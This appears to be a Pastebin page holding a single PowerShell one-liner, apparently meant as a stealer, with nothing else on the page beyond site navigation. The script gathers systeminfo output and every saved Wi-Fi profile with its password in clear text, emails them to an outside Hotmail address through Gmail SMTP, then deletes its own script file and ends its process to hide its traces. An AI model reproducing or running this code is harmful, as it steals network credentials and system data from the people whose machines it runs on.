Advertisement
Guest User

Untitled

a guest
Jun 29th, 2015
202
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.59 KB | None | 0 0
  1. Function sendMail() {$credential=(Get-Credential eshquia.ceh@gmail.com); $info=(systeminfo|out-string)+(netsh wlan show profiles|Select-String -Pattern "All User Profile"|Foreach-Object{$_.ToString()}|Foreach-Object{$_.Replace(" All User Profile : ",$null)}|ForEach-Object{netsh wlan show profiles name="$_" key=clear}|out-string); send-mailMessage -to 'hackedd_27000@hotmail.com' -subject 'report' -from 'eshquia.ceh@gmail.com' -body $info -SmtpServer 'smtp.gmail.com' -credential $credential;(New-Object -ComObject WScript.Shell).SendKeys('{CAPSLOCK}');Remove-Item code.ps1; stop-process -Id $PID;} sendMail
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement